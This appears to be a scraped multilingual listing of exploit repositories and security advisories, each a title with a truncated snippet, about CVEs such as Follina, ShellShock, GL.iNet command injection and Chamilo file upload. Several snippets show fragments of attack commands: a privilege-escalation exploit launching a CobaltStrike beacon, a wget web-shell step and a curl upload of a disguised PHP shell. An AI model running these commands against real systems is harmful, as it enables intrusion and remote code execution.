GL.iNet-Multiple-Vulnerabilities

ثغرات متعددة في GL.iNet يحتوي هذا المستودع على استغلالات الثغرات التالية: CVE-2023-46454: في أجهزة التوجيه GL.iNET GL-AR300M التي تعمل بإصدار البرنامج الثابت v4.3.7، يمكن حقن أوامر شيل عشوائية من خلال اسم حزمة مصمم خصيصًا في وظيفة معلومات الحزمة. CVE-2023-46455: في أجهزة التوجيه GL.iNET GL-AR300M...

CVE-2020-0787

CVE-2020-0787（named pipe） Ceci n'est qu'une démo, ne l'utilisez pas en environnement réel. -Obtenez le résultat de l'exécution de commande utilisez cmd /c： exp.exe "cmd /c whoami \\.\pipe\showme " show -Exécutez beacon.exe： exp.exe "C:/beacon.exe" Pour CobaltStrike Ceci est meilleur que le...

EUVD-2026-95992

Astron Agent is an agentic workflow platform for building and running AI agents. Prior to 1.1.2, the default workflow code-node path through /console-api/workflow/code/run and /workflow/v1/run selects LocalExecutor in core/workflow/engine/nodes/code/codenode.py when CODEEXECTYPE is not explicitly...

pax

pax Exploit padding oracles for fun and profit! Pax PAdding oracle eXploiter is a tool for exploiting padding oracles in order to: 1. Obtain plaintext for a given piece of CBC encrypted data. 2. Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption algorithm used by...

CVE-2022-30190

CVE-2022-30190 Follina إثبات المفهوم نظرة عامة يعرض هذا المشروع إثبات مفهوم للاستغلال لثغرة CVE-2022-30190، المعروفة أيضاً باسم "Follina" — وهي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد تؤثر على Microsoft Office عبر بروتوكول MSDT. يولّد التطبيق مستندات Office خبيثة لتوضيح سير عمل الاستغلال...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE и загрузка внешних ресурсов, обнаруженные @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 Эксплойт Просто пример для размещения веб-шелла в текущем каталоге. python3 CVE-2023-2255.py --cmd 'wget...

Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

Summary An authenticated nginx-ui user can call POST /api/restore, upload a forged encrypted backup, restore app.ini, set nginx command settings such as TestConfigCmd, and then trigger command execution with POST /api/nginx/test. This was validated on nginx-ui 2.3.11 2523 6c86e5a5 in the local...

CVE-2014-6271-IPFire

CVE-2014-6271 تنفيذ بايثون لـ CVE-2014-6271: IP Fire =2.15 ShellShock RCE استنادًا إلى وحدة Metasploit لنفس الاستغلال EDB ID: 34839 الاستغلال تلقائي. راجع ./CVE-2014-6271.py --help للحصول على مجموعة كاملة من الخيارات تحذير: لا يجوز استخدام الكود الموجود في هذا المستودع إلا للأغراض...

exploit-CVE-2021-22204

استغلال لـ CVE-2021-22204 ExifTool - تنفيذ أكواد عشوائي أعجبك هذا المستودع؟ امنحنا ⭐! لأغراض تعليمية وبحثية أمنية مرخصة فقط. مؤلف الاستغلال @UNICORDev بواسطة @NicPWNs و @Dev-Yeoj وصف الثغرة التحييد غير السليم لبيانات المستخدم في تنسيق ملف DjVu في ExifTool من الإصدار 7.44 فما فوق يسمح بتنفيذ أكواد...

turing-machine

تنفيذ تعليمات برمجية عشوائية في آلة تورينغ الشاملة هذا تنفيذ لآلة تورينغ الشاملة كما وردت في كتاب مينسكي، الحوسبة: الآلات المنتهية واللانهائية، 1967، الفصل 7. المدخل الافتراضي للآلة المُحاكاة هو استغلال exploit يحقق تنفيذ تعليمات برمجية عشوائية. شغّل البرنامج باستخدام $ python3.7...

pylibemu

Pylibemu |version badge| |downloads badge| .. |version badge| image:: https://img.shields.io/pypi/v/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/ .. |downloads badge| image:: https://img.shields.io/pypi/dm/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/ Pylibemu is a...

CVE-2019-13764

CVE-2019-13764 استغلال كامل كتبه فريق أبحاث Haboob تم اختباره على إصدار V8 8.0.0 على نظام Linux ubuntu 18.04 مقالة مدونة مفصلة حول هذه الثغرة: https://blog.haboob.sa/blog/cve-2019-13764-from-root-cause-to-bash...

Dnstracer-1.9-Fix

Dnstracer-1.9-Fix dnstracer يقوم dnstracer بتحديد المكان الذي يحصل منه خادم اسم النطاق DNS المحدد على معلوماته لاسم مضيف معين، ويتتبع سلسلة خوادم DNS وصولاً إلى الإجابة الموثوقة. المشكلة يسمح تجاوز سعة المخزن المؤقت المبني على المكدس في dnstracer حتى الإصدار 1.9 للمهاجمين بتنفيذ كود عشوائي عبر سط...

CVE-2021-40870

CVE-2021-40870 الرفع غير المقيّد لملف بنوع خطير في Aviatrix يسمح لمستخدم مصادَق بتنفيذ كود عشوائي https://attackerkb.com/assessments/970a9fa9-223d-4d07-bafa-a338147934f3...

CVE-2026-41089-Netlogon

🛡️ AI Security Tool Module CVE-2026-41089: Netlogon Stack Buffer Overflow Module officiel de vérification de sécurité pour l'écosystème AI Security Tool 🌐 Version démo • 📚 Site du projet • 💬 Chat communautaire Navigation du site : Accueil • Mises à jour • Téléchargements • Modules 🧠 Aperçu...

Security Bulletin: Due to use of Apache Log4j, IBM Cloud PAK for Watson AI Ops is vulnerable to arbitrary code execution (CVE-2021-45046) and denial of service (CVE-2021-45105)

Summary Apache Log4j is used by IBM Cloud PAK for Watson AI Ops as part of its logging infrastructure. The CVE numbers are: CVE-2021-45105 and CVE-2021-45046. Vulnerabilities were identified within the Apache Log4j library that is used by IBM Cloud Pak for Watson AIOps. These vulnerabilities have...

CVE-2024-37759_PoC

CVE-2024-37759 PoC Description DataGear 5.0.0 et les versions antérieures présentent une vulnérabilité d'injection d'expression SpEL qui conduit à une exécution de code à distance. Exploit Détails de l'exploit CVE Lorsque vous effectuez une requête vers l'interface /data/schemaId/tableName/view, ...

CVE-2021-22941

الاستخدام python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 المرجع https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

infected-drones

Drones infectés Vecteurs d'attaque, vulnérabilités et exploits de la station de contrôle au sol vers le drone Les flottes de drones d'aujourd'hui, c'est un opérateur pilotant des dizaines ou des centaines de drones depuis une seule station au sol. Cela fait de la station de contrôle au sol une...

Chamilo-LMS-Unauthenticated-File-Upload-CVE-2023-4220

رفع-الملفات-غير-المصادق-عليه-في-Chamilo-LMS- رفع الملفات غير المقيد في وظيفة رفع الملفات الكبيرة في /main/inc/lib/javascript/bigupload/inc/bigUpload.php في Chamilo LMS ' dollarboysushil.php .png ثم يمكننا رفع هذا الملف عن طريق إصدار الأمر التالي $ curl -F '[email protected]'...